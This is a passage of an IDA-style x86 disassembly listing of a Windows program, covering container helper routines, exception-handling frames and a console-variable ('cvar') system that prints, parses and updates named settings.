[esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_402176 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4010CD mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4019A6 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011EF ; --------------------------------------------------------------------------- lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_4011F9 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40AABB: ; CODE XREF: sub_40A9F0+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_40AB19 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4010CD mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_402176 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401E6F mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40AB19: ; CODE XREF: sub_40A9F0+D8j test edi, edi jbe short loc_40AB53 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4010CD mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_4020AE mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401E6F mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_40AB53: ; CODE XREF: sub_40A9F0+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_40A9F0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ABC0 proc near ; CODE XREF: sub_4018B1j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_1 pop ecx retn 4 sub_40ABC0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ABE0 proc near ; CODE XREF: sub_4010CDj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_40AC12 push edi mov edi, [esp+10h+arg_8] loc_40ABF6: ; CODE XREF: sub_40ABE0+27j push esi push edi mov ecx, ebx call sub_402121 add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_40ABF6 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40AC12: ; CODE XREF: sub_40ABE0+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_40ABE0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AC30 proc near ; CODE XREF: sub_402176j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_40AC57 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_40AC46: ; CODE XREF: sub_40AC30+23j push ebx push esi mov ecx, ebp call sub_402121 add esi, 4 dec edi jnz short loc_40AC46 pop esi pop ebx loc_40AC57: ; CODE XREF: sub_40AC30+Aj pop edi pop ebp retn 0Ch sub_40AC30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AC70 proc near ; CODE XREF: sub_401DCFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_4014CE sub_40AC70 endp ; --------------------------------------------------------------------------- add esp, 8 retn 8 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ACA0 proc near ; CODE XREF: sub_402121j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401DE8 add esp, 8 retn 8 sub_40ACA0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ACD0 proc near ; CODE XREF: sub_401E6Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_40ACED mov edx, [esp+arg_8] push esi loc_40ACE1: ; CODE XREF: sub_40ACD0+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_40ACE1 pop esi locret_40ACED: ; CODE XREF: sub_40ACD0+Aj retn sub_40ACD0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD00 proc near ; CODE XREF: sub_4020AEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_40AD22 mov eax, [esp+arg_8] push esi loc_40AD11: ; CODE XREF: sub_40AD00+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_40AD11 pop esi retn ; --------------------------------------------------------------------------- loc_40AD22: ; CODE XREF: sub_40AD00+Aj mov eax, [esp+arg_8] retn sub_40AD00 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AD60 proc near ; CODE XREF: sub_4014CEj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40AD6A xor eax, eax loc_40AD6A: ; CODE XREF: sub_40AD60+6j shl eax, 2 push eax call sub_4367FA sub_40AD60 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD90 proc near ; CODE XREF: sub_401DE8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40ADAB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40ADAB: ; CODE XREF: sub_40AD90+11j retn sub_40AD90 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ADC0 proc near ; CODE XREF: sub_401E6Aj mov eax, ecx mov dword ptr [eax], offset off_43E014 retn sub_40ADC0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40ADE0: ; CODE XREF: ___:00401717j ; ___:loc_402027j push esi mov esi, ecx call sub_402031 test byte ptr [esp+8], 1 jz short loc_40ADF8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_40ADF8: ; CODE XREF: ___:0040ADEDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE10 proc near ; CODE XREF: sub_402031j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40AE10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi push edi mov dword ptr [ecx], offset off_43E014 mov [ebp+var_10], esp mov [ebp+var_4], 0 call sub_401744 loc_40AE41: ; DATA XREF: sub_40AE52o mov ecx, [ebp+var_C] pop edi pop esi mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40AE10 endp ; =============== S U B R O U T I N E ======================================= sub_40AE52 proc near ; DATA XREF: ___:0043F1BCo mov eax, offset loc_40AE41 retn sub_40AE52 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AE80 proc near ; CODE XREF: sub_4014BAj call sub_401708 jmp sub_4017B2 sub_40AE80 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AEA0 proc near ; CODE XREF: sub_401B18j call sub_40161D jmp sub_4017C1 sub_40AEA0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AEC0 proc near ; CODE XREF: sub_4013D4j push esi mov esi, ecx push esi push offset sub_40141F lea eax, [esi+0Ch] push 0 push eax call sub_40123A add esp, 10h test eax, eax jnz short loc_40AEE2 mov al, 1 mov [esi+10h], al pop esi retn ; --------------------------------------------------------------------------- loc_40AEE2: ; CODE XREF: sub_40AEC0+19j mov byte ptr [esi+10h], 0 xor al, al pop esi retn sub_40AEC0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AF00: ; CODE XREF: ___:004011C2j push ecx push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40AF27 mov ecx, [esi+0Ch] lea eax, [esp+4] push eax push ecx call sub_40175D mov eax, [esp+0Ch] add esp, 8 mov byte ptr [esi+10h], 0 pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_40AF27: ; CODE XREF: ___:0040AF09j xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AF40 proc near ; CODE XREF: sub_401744j push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40AF5C mov eax, [esi+0Ch] push 0Fh push eax call sub_401758 add esp, 8 mov byte ptr [esi+10h], 0 loc_40AF5C: ; CODE XREF: sub_40AF40+8j pop esi retn sub_40AF40 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AF70: ; CODE XREF: ___:004011F4j mov eax, [ecx+0Ch] retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF90 proc near ; CODE XREF: sub_40141Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40AF90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov eax, [ecx] mov [ebp+var_10], esp mov [ebp+var_4], 0 call dword ptr [eax+4] loc_40AFBE: ; DATA XREF: sub_40AFD1o mov ecx, [ebp+var_C] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40AF90 endp ; =============== S U B R O U T I N E ======================================= sub_40AFD1 proc near ; DATA XREF: ___:0043F21Co mov eax, offset loc_40AFBE retn sub_40AFD1 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B000 proc near ; CODE XREF: sub_401028j var_8 = dword ptr -8 var_4 = byte ptr -4 sub esp, 8 push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40B042 mov edx, [esi+0Ch] lea eax, [esp+0Ch+var_8] lea ecx, [esp+0Ch+var_4] push eax push ecx push edx call sub_40218F mov edx, [esi+0Ch] mov eax, [esp+18h+var_8] lea ecx, [esp+18h+var_8] mov [esi+8], eax push ecx push 1 push edx mov [esp+24h+var_8], 0 call sub_401050 add esp, 18h loc_40B042: ; CODE XREF: sub_40B000+Bj pop esi add esp, 8 retn sub_40B000 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B070 proc near ; CODE XREF: sub_401DCAj var_4 = dword ptr -4 push ecx mov al, [ecx+10h] test al, al jz short loc_40B092 mov eax, [ecx+8] lea edx, [esp+4+var_4] mov [esp+4+var_4], eax mov eax, [ecx+0Ch] push edx push 1 push eax call sub_401050 add esp, 0Ch loc_40B092: ; CODE XREF: sub_40B070+6j pop ecx retn sub_40B070 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B0B0 proc near ; CODE XREF: sub_4019F1j var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B0B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+1Ch+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+1Ch+var_4], 1 call sub_401749 lea edi, [esi+8Eh] lea eax, [esp+1Ch+var_11] push eax mov ecx, edi mov byte ptr [esp+20h+var_4], 2 call sub_401BF4 sub_40B0B0 endp ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+18h], 3 mov dword ptr [esi], offset off_43E020 call sub_401BEF mov ecx, [esp+10h] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B170 proc near ; CODE XREF: sub_401AE6j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B170 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push edi mov [esp+18h+var_10], esi mov dword ptr [esi], offset off_43E020 lea edi, [esi+8Eh] mov [esp+18h+var_4], 3 mov ecx, edi call sub_401BEF mov ecx, edi mov byte ptr [esp+18h+var_4], 2 call sub_401555 sub_40B170 endp ; --------------------------------------------------------------------------- lea ecx, [esi+60h] mov byte ptr [esp+14h], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h], 0 call sub_401023 lea ecx, [esi+4] mov dword ptr [esp+14h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+0Ch] pop edi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B210 proc near ; CODE XREF: sub_4017EEj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B210 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi mov esi, ecx lea ecx, [esi+8Eh] call sub_401BEF push 0 push 14h push 13h push 9 push 0Ch push 4Eh push 12h push 1 push 16h lea eax, [esp+64h+var_3C] push 3 push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_40B210 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 push 7 push 4Fh push 12h push 1 push 16h lea edx, [esp+24h] push 3 push edx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 push 13h push 4Eh push 12h push 1 push 16h lea ecx, [esp+3Ch] push 3 push ecx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+40h], 2 call sub_4017E4 add esi, 60h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- mov dword ptr [esp+3Ch], 0FFFFFFFFh lea ecx, [esp+1Ch] call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B390 proc near ; CODE XREF: sub_40180Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_18 = dword ptr 1Ch mov eax, [esp+arg_4] push esi mov esi, ecx push edi mov ecx, [esp+8+arg_0] push eax add ecx, 1Eh call sub_401FBE mov eax, [esp+8+arg_0] mov edx, [esp+8+arg_C] push edx lea ecx, [eax+33h] call sub_401FBE mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_10] mov edi, [esp+8+arg_8] mov [ecx+48h], dl mov eax, [esp+8+arg_0] push edi push eax mov ecx, esi call sub_401F32 mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_14] push edi mov [ecx+4], dl mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_18] mov [eax+5], ecx mov ecx, [esp+0Ch+arg_0] call sub_401FBE lea edx, [esp+8+arg_0] lea ecx, [esi+8Eh] push edx call sub_401906 sub_40B390 endp ; --------------------------------------------------------------------------- pop edi pop esi retn 1Ch ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B430 proc near ; CODE XREF: sub_401B5Ej var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_40B430 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h mov eax, [esp+54h+arg_C] push ebp push esi mov esi, ecx push edi push eax lea ecx, [esp+64h+var_24] call sub_401861 mov edi, eax mov ecx, [esp+60h+arg_8] mov [esp+60h+var_4], 0 push ecx lea ecx, [esp+64h+var_3C] call sub_401861 mov ebp, eax mov edx, [esp+60h+arg_4] lea ecx, [esp+60h+var_54] push edx mov byte ptr [esp+64h+var_4], 1 call sub_401861 mov ecx, [esp+60h+arg_18] mov edx, [esp+60h+arg_14] push ecx mov ecx, [esp+64h+arg_10] push edx mov edx, [esp+68h+arg_0] push ecx push edi push ebp push eax push edx mov ecx, esi mov byte ptr [esp+7Ch+var_4], 2 call sub_40180C sub_40B430 endp ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov byte ptr [esp+5Ch], 1 call sub_401226 lea ecx, [esp+24h] mov byte ptr [esp+5Ch], 0 call sub_401226 lea ecx, [esp+3Ch] mov dword ptr [esp+5Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+54h] pop edi pop esi pop ebp mov large fs:0, ecx add esp, 54h retn 1Ch ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B520 proc near ; CODE XREF: sub_4019CEj var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_40153C add esi, 8Eh lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_401451 mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401C71 push eax lea ecx, [esp+14h+var_8] call sub_40136B test al, al jz short loc_40B5A1 mov edi, [esp+10h+arg_0] loc_40B566: ; CODE XREF: sub_40B520+7Fj push edi lea ecx, [esp+14h+var_8] call sub_401F5A mov ecx, [eax] add ecx, 1Eh call sub_4021AD test eax, eax lea ecx, [esp+10h+var_8] jz short loc_40B5AB call sub_40133E lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_401C71 push eax lea ecx, [esp+14h+var_8] call sub_40136B test al, al jnz short loc_40B566 loc_40B5A1: ; CODE XREF: sub_40B520+40j pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_40B5AB: ; CODE XREF: sub_40B520+60j call sub_401F5A mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_40B520 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B5F0: ; CODE XREF: ___:00401456j push 0FFFFFFFFh push offset loc_438BF8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h mov eax, [esp+28h] push esi mov esi, ecx push eax lea ecx, [esp+8] call sub_401861 mov ecx, [esp+30h] mov dword ptr [esp+24h], 0 push ecx push eax mov ecx, esi call sub_4019CE lea ecx, [esp+4] mov esi, eax mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 24h retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B680 proc near ; CODE XREF: sub_401596j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_4015D7 mov ecx, esi call sub_4017E4 push eax call near ptr 77C1CF90h nop fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset aTrue ; "true" call sub_4012EE test eax, eax jnz short loc_40B6D1 mov byte ptr [esi+19h], 1 loc_40B6D1: ; CODE XREF: sub_40B680+4Bj pop esi retn 8 sub_40B680 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B700 proc near ; CODE XREF: sub_401F32j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] mov ecx, esi mov eax, [edi+9] push eax call sub_4015D7 mov ecx, esi call sub_4017E4 push eax nop call near ptr 77C1CF90h fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset aTrue ; "true" call sub_4012EE test eax, eax jnz short loc_40B755 mov byte ptr [esi+19h], 1 loc_40B755: ; CODE XREF: sub_40B700+4Fj mov cl, [edi+4] mov [esi+4], cl mov edx, [edi+5] mov [esi+5], edx pop edi pop esi retn 8 sub_40B700 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B790: ; CODE XREF: ___:00401D43j fld dword ptr [esp+8] push esi mov esi, [esp+8] sub esp, 8 fstp qword ptr [esp] push offset aF ; "%f" push esi call sub_40102D mov eax, [esp+1Ch] add esp, 10h mov ecx, esi mov [esi+15h], eax call sub_4017E4 push eax call near ptr 77C1BF18h nop fld dword ptr [esp+10h] fcomp flt_43E024 mov [esi+1Ah], eax add esp, 4 mov byte ptr [esi+19h], 0 fnstsw ax test ah, 1 jnz short loc_40B7E1 mov byte ptr [esi+19h], 1 loc_40B7E1: ; CODE XREF: ___:0040B7DBj pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B810: ; CODE XREF: ___:00401C94j push ebx mov bl, [esp+0Ch] test bl, bl push esi jz short loc_40B840 mov esi, [esp+0Ch] push offset aTrue ; "true" mov ecx, esi call sub_4015D7 mov dword ptr [esi+15h], 3F800000h mov dword ptr [esi+1Ah], 1 mov [esi+19h], bl pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40B840: ; CODE XREF: ___:0040B818j mov esi, [esp+0Ch] push offset aFalse ; "false" mov ecx, esi call sub_4015D7 xor eax, eax mov [esi+19h], bl mov [esi+15h], eax mov [esi+1Ah], eax pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B880: ; CODE XREF: ___:00401D6Bj push esi mov esi, [esp+8] push edi mov edi, [esp+10h] push edi push offset dword_4437F4 push esi call sub_40102D fild dword ptr [esp+1Ch] add esp, 0Ch cmp edi, 1 mov [esi+1Ah], edi mov byte ptr [esi+19h], 0 fstp dword ptr [esi+15h] jl short loc_40B8B0 mov byte ptr [esi+19h], 1 loc_40B8B0: ; CODE XREF: ___:0040B8AAj pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B8D0: ; CODE XREF: ___:loc_401ACDj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_438C30 push eax mov large fs:0, esp sub esp, 4Ch push ebx push ebp push esi mov esi, [esp+68h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_40BA12 lea ebx, [esi+69h] mov ecx, ebx call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push offset aCvar ; "(cvar)" push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+6Ch] call sub_40153C add ebp, 8Eh lea edx, [esp+10h] push edx mov ecx, ebp xor edi, edi call sub_401451 mov eax, [eax] lea ecx, [esp+10h] push ecx mov ecx, ebp mov [esp+70h], eax call sub_401C71 push eax lea ecx, [esp+70h] call sub_40136B test al, al jz loc_40BA0B loc_40B976: ; CODE XREF: ___:0040BA05j lea ecx, [esp+6Ch] inc edi call sub_401F5A mov ecx, [eax] add ecx, 33h call sub_4017E4 push eax lea ecx, [esp+70h] call sub_401F5A mov ecx, [eax] call sub_4017E4 push eax lea ecx, [esp+74h] call sub_401F5A mov ecx, [eax] add ecx, 1Eh call sub_4017E4 push eax push edi push offset aDSSS ; "[%d] \"%s\" = \"%s\" (\"%s\")" mov ecx, ebx call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 24h push 5DCh call near ptr 2811D0Bh nop lea ecx, [esp+6Ch] call sub_40133E lea ecx, [esp+10h] push ecx mov ecx, ebp call sub_401C71 push eax lea ecx, [esp+70h] call sub_40136B test al, al jnz loc_40B976 loc_40BA0B: ; CODE XREF: ___:0040B970j mov al, 1 jmp loc_40BB9A ; --------------------------------------------------------------------------- loc_40BA12: ; CODE XREF: ___:0040B907j lea ecx, [ebp+32h] call sub_4017E4 push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_40BAA5 push offset asc_443600 ; " " lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_4016AE push 1 push eax mov ecx, ebp mov dword ptr [esp+6Ch], 0 call sub_4019CE lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 test edi, edi jz loc_40BB98 mov ecx, edi call sub_4017E4 push eax lea ecx, [edi+1Eh] call sub_4017E4 push eax push offset aSS_5 ; "%s = \"%s\"" lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 1Ch jmp loc_40BB9A ; --------------------------------------------------------------------------- loc_40BAA5: ; CODE XREF: ___:0040BA24j lea ecx, [ebp+60h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_40BB98 push offset asc_443600 ; " " lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_4016AE push 1 push eax mov ecx, ebp mov dword ptr [esp+6Ch], 1 call sub_4019CE lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 test edi, edi jz loc_40BB98 push edi lea ecx, [esp+18h] call sub_4014C9 mov ebx, 2 push 1 push offset asc_443600 ; " " lea eax, [esp+4Ch] push ebx push eax mov ecx, esi mov [esp+74h], ebx call sub_4011EA push eax push edi mov ecx, ebp mov byte ptr [esp+6Ch], 3 call sub_401F32 lea ecx, [esp+44h] mov [esp+64h], bl call sub_401226 lea ecx, [esp+14h] call sub_4017E4 push eax mov ecx, edi call sub_4017E4 push eax lea ecx, [edi+1Eh] call sub_4017E4 push eax push offset aSSWasS ; "%s = \"%s\" [was \"%s\"]" lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 20h lea ecx, [esp+14h] mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_40BB9A ; --------------------------------------------------------------------------- loc_40BB98: ; CODE XREF: ___:0040BA60j ; ___:0040BAB7j ... xor al, al loc_40BB9A: ; CODE XREF: ___:0040BA0Dj ; ___:0040BAA0j ... mov ecx, [esp+5Ch] pop edi pop esi pop ebp pop ebx mov large fs:0, 